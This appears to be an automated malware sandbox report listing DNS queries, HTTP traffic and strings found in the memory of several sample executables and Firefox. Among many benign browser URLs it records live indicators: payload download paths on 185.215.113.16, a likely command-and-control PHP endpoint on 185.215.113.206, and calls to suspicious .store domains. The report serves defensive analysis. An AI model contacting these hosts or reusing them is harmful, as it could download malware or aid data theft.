Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114237804.0000016D61C86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114237804.0000016D61C86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60676000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114237804.0000016D61C86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3138587384.0000016D66507000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D66567000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6654D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3136934154.0000016D662C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6659A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6654D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 00000017.00000002.3128244739.0000016D64474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Pc
Source: file.exe, 00000000.00000003.2266021076.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268802012.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/h
Source: file.exe, file.exe, 00000000.00000002.2268595327.0000000000950000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268468247.000000000076A000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266021076.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268973548.00000000009DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268802012.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2265960033.00000000009D3000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2266021076.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268802012.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe/
Source: 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeM
Source: 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeRN
Source: file.exe, 00000000.00000002.2268595327.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeRR
Source: 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/n
Source: file.exe, 00000000.00000003.2266021076.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266171305.00000000009C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268802012.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266090900.00000000009BD000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe%
Source: 275cb7a9a2.exe, 00000007.00000003.3022276463.000000000127B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe7
Source: 275cb7a9a2.exe, 00000007.00000003.3022276463.000000000127B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe=
Source: file.exe, 00000000.00000003.2266021076.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268802012.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeE
Source: 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.2266021076.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268802012.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee;
Source: 544ed086e5.exe, 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 544ed086e5.exe, 00000008.00000002.2929579562.00000000015D8000.00000004.00000020.00020000.00000000.sdmp, 544ed086e5.exe, 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 544ed086e5.exe, 00000008.00000002.2929579562.00000000015C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 544ed086e5.exe, 00000008.00000002.2929579562.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 544ed086e5.exe, 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: 544ed086e5.exe, 00000008.00000002.2929579562.00000000015F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: 544ed086e5.exe, 00000008.00000002.2929579562.00000000015C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpifz
Source: 544ed086e5.exe, 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpows
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000017.00000002.3110744034.0000016D6017D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%sget
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000017.00000002.3167775186.0000016D6CC10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142724308.0000016D66B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000017.00000002.3142724308.0000016D66B45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerUseOfReleaseEventsWarningUse
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000017.00000002.3109029325.0000016D5FB26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000017.00000002.3109029325.0000016D5FB61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-timest
Source: firefox.exe, 00000017.00000002.3109029325.0000016D5FB26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000017.00000002.3109029325.0000016D5FB61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000017.00000002.3109029325.0000016D5FB26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000017.00000002.3106722190.0000016D54403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 00000017.00000002.3140196270.0000016D668C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153934004.0000016D67DB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3143979190.0000016D66C8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153934004.0000016D67D8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128010660.0000016D6433B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153934004.0000016D67DC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D63978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3096250652.0000016D66E71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153934004.0000016D67DEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D63503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3139672822.0000016D66630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3131050314.0000016D64A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66AC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136520275.0000016D657C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3024335272.0000016D656D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142724308.0000016D66B50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163045548.0000016D6C456000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3150846746.0000016D673C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3131395365.0000016D64B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160909733.0000016D6C299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3129048698.0000016D64637000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000017.00000002.3110744034.0000016D6017D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000017.00000002.3122106142.0000016D63703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3131050314.0000016D64A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D6352D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D606AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:scope
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/parent/ext-bro
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://extensions/content/schemas/scr
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/arrows
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulopenPreferences/internalPrefCategoryNam
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163045548.0000016D6C423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2104817261.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2862146776.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3011066950.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134876449.0000016D64FF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163045548.0000016D6C423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000017.00000003.3008320117.0000016D64638000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3009175241.0000016D6466F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3021924868.0000016D64BDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000017.00000002.3156286806.0000016D68F40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000017.00000002.3124252108.0000016D6394E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000017.00000002.3150846746.0000016D67370000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3167775186.0000016D6CC10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.3111377594.0000016D60508000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D63591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000017.00000002.3138334196.0000016D66408000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6659A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138334196.0000016D66412000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6654D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
